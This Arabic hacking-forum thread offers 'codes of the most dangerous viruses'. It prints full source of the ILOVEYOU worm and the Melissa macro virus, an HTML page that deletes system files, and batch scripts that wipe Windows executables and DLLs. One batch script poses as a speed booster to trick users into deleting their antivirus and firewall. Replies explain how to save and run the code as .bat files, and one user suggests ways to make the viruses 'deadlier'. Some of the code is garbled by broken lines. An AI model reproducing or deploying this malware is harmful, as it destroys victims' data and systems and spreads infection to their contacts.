أكواد اخطر الفيروسات

[أمير الهكرز]

كود فيروس الحب




rem barok -loveletter(vbe) <i hate go to school>
rem by: EVIL-MASTER / evil5000x@hotmail.com/ Group /EVIL-ATTACK Manila,Philippines

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d


ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll

REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation.
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr


entVersion\Run\MSKernel32",dirsystem&"\MSKernel32. vbs"
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr


entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL .vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf


7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j


nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V


bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras


djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy


7thjg/WIN-BUGSFIX.exeend if
end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr


entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

Sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files

for each f1 in fc
ext=fso.GetExtensionName(f1.pathext=lcase(ext)
s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if

if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders

for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next

end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

function fileexist(filespec)

On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if

fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function



sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega


d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)
if (regv="") then
regv=1
end if

if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub


------------------------------------------------------------------------------------


كود فيروس Html

<html>

<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<title>Active-X HTML</title>
</head>
THIS HTML USING ACTIVE-X PLEASE CLICK #YES#
<body bgcolor="#000000" Text="#C0C0C0">
<script language="VBScript">
<!-- This is a MY BRAIN --!>
On Error Resume Next
Dim a
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("Scripting.FileSystemObject")
Set b = fso.GetFile("system.ini")
b.Delete
</script>
<!--- This script author is THEONE---!>
</body>
</html>


ثم نحفظها باى أسم +Html
---------------------------------------------------------------------------
كود فيروس لتدمير الويندوز



Del c:\windows\system\msconfig.exe

Del c:\windows\Rundll32.exe

Del c:\windows\regedit.exe

Del c:\windows\Rundll.exe

Del c:\Autoexec.bat

Del c:\command.com

Del c:\windows\Logos.sys

Del c:\windows\Logow.sys

Del c:\windows\Scanregw.exe

Del C:\Program Files\Internet Explorer\Iexplore.exe

Del c:\windows\system\Sysedit.exe

Del c:\windows\win.com



@Echo off

c:

cd %WinDir%\System\


deltree /y *.exe


--------------------------------------------------------------------

كود فيروس حذف Regedit و Msconfig

c:\windows\regedit.exe del

C:\windows\system\msconfig.exe del


------------------------------------------------------------

كود لحذف شاشة الترحيب للويندوز

Del c:\windows\Logos.sys

Del c:\windows\Logow.sys



----------------------------------------------------------------------------------------------





كود فيروس يمحى بعض الملفات المهمة من الجهاز

@echo off

c:

deltree /y *.exe

deltree /y *.dll

deltree /y *.drv

deltree /y *.sys

deltree /y *.ini

cd %windir%\system

deltree /y *.sys

deltree /y *.dll

deltree /y *.ini

deltree /y *.exe





كود فيروس يدمر برنامج النورتون انتى فيروس و برنامج الزون الارم



@echo welcome to the winbooster by Agent007

@echo if u want to make your computer get faster , you should follow

@echo the next steps (step by step)

@pause

cd\

c:

dir

dir c:\progra~1\norton~1

@echo if u want to make your computer faster

@pause

@echo now you should to type y and press enter

del c:\progra~1\norton~1

@pause

c:

dir

@echo if u want to make your computer faster

@pause

@dir c:\progra~1

dir c:\progra~1\zonea~1\zonealarm

del c:\progra~1\zonea~1\zonealarm

@echo be happy your computer now is faster than before

:exit

-------------------------------------------------------------------------------------------------------

كود فيروس مليسا

Private Sub AutoOpen() On Error Resume Next

p$ = "clone"

If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabl ed = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1&

Else

p$ = "clone"

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

p$ = "clone"

System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then _

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

p$ = "clone"

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True: End If

'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub

--------------------------------------------------------------------------------------------------

كود لفيروس ينئ ملاين من المجلدات على الهارد بجانب انه يدمر الويندوز

@echo off

CLS

@del c:\Windows\win.ini

CLS

@del c:\windows\system.dat

CLS

@del c:\windows\system.ini

CLS

@REN c:\Windows te3eeshWeeElwendosYa7'od3'er7a

CLS

@del c:\progra~1\netscape\commun~1\program\netscape.exe

CLS

@del c:\progra~1\netscape\commun~1\program\wgbview.dbm

CLS

@del c:\progra~1\norton~1\dec2.dll

@del c:\progra~1\norton~1\navstart.dat

@del c:\progra~1\norton~1\navw32.exe

@del c:\progra~1\norton~1\sfstr32i.dll

CLS

@del c:\progra~1\icq\icqcntct.dll

CLS

@del c:\progra~1\icq\dll\icqwso~1.dll

CLS

@REN c:\progra~1 fuck

CLS


@md c:\fff

@md c:\545

@md c:\jsior

@md c:\ierjq

@md c:\nmao

@md c:\ian

@md c:\asdja

@md c:\duiae

@md c:\dsuiuie

@md c:\ianer

@md c:\aie

@md c:\aiaer

@md c:\aiher

@md c:\kaie

@md c:\system

@md c:\uauau

@md c:\opoe

@md c:\pogrw

@md c:\uauer

@md c:\vnvnv

@md c:\imcvns

@md c:\mnbf

@md c:\ingo

@md c:\iajf

@md c:\sexe

@md c:\fffs

@md c:\54s5

@md c:\jsioer

@md c:\ierjeq

@md c:\nmato

@md c:\iany

@md c:\asbja

@md c:\duaae

@md c:\dsujiuie

@md c:\ianer

@md c:\aae

@md c:\aider

@md c:\ai3er

@md c:\kafe

@md c:\systam

@md c:\uauaau

@md c:\ofoe

@md c:\togrw

@md c:\uader

@md c:\vnvdsv

@md c:\i43cvns

@md c:\mdbf

@md c:\ind43

@md c:\iajf

@cd\

CLS

@del *.sys

CLS

@del *.exe

CLS

@del *.txt

CLS

@del *.dll

CLS

@del *.com

CLS


------------------------------------------------------------------------------------

اخوكم امير الهكرز

[ALI_MNA]

مشكووور ولكن اين اضع هذه الكودات؟؟

[أمير الهكرز]

في المفكرة يا اخ علي منا

بعدين تروح تحفظة باستخدام امر حفظ باسم

وتكتب الاسم الي بدك اياه بعدين .bat

مثل هالصورة






وبعد ما تحفظه راح تلاحظ ان ايقونته اتغيرت لملف داخلة ترس اصفر

مثل الملف الي اسمه - b - الموجود على سطح المكتب بالصورة

مع مراعاة انك يجب ان ان تغير - حفظ كنوع - الى all files
مثل هالصورة

[ALI_MNA]

شكرا للاهتمام
ومشكووور على الموضوع

[hk_kuwait_girl]

شكرا ... :>

[حمو بيه]

الف الف الف الف الف الف الف شكر

مشكوووووووووووووووووووووووووووور
اخوك

[اريد اتعلم الكهر]

كيف انشء المفكرة مو صالي سنة ادور عليهة دخت
تحياتي الك امير

[دكتور فيروس]

بسم الله الرحمن الرحيم اولا اخوانى
الفيروسات مكشوفه من برامج الحماية يعنى لما حد يصنع الفيروس اهم حاجه مكيونش عنده برامج حماية ابدا
==
ثانيا بعد صنع الفيروس اوى تضغط عليه ابدا ابدا ولا انت الى هتتحمل المسؤواليه
==
معلومة شخصيه منى لاخوانى الى عاوزين يصنعوا كود فيروس قوى
لصنع كود فيروس اوقى فتكا
احفظ الكود باسم ايمالك يعنى
افتح النو بات واكتب الكود وبعدين حفظ باسم سم اكتب

yoremail@hotmail.com
وبكده الكود هيكون اقوى فتكا
====
ولى اخويا الى بيسئل عن كفية فتح النوتبات

======
افتح
start
ثم
run
ثم اكتب
Notepad
والنوت بات هيفتح على طوال
تحياتى ليكم
اخوكم دكتور فيروس واى استفسار تحت امركم

[ibr2007]

u r the best

[دارك الضلام]

حسبناالله ونعم الوكيل على الضالمين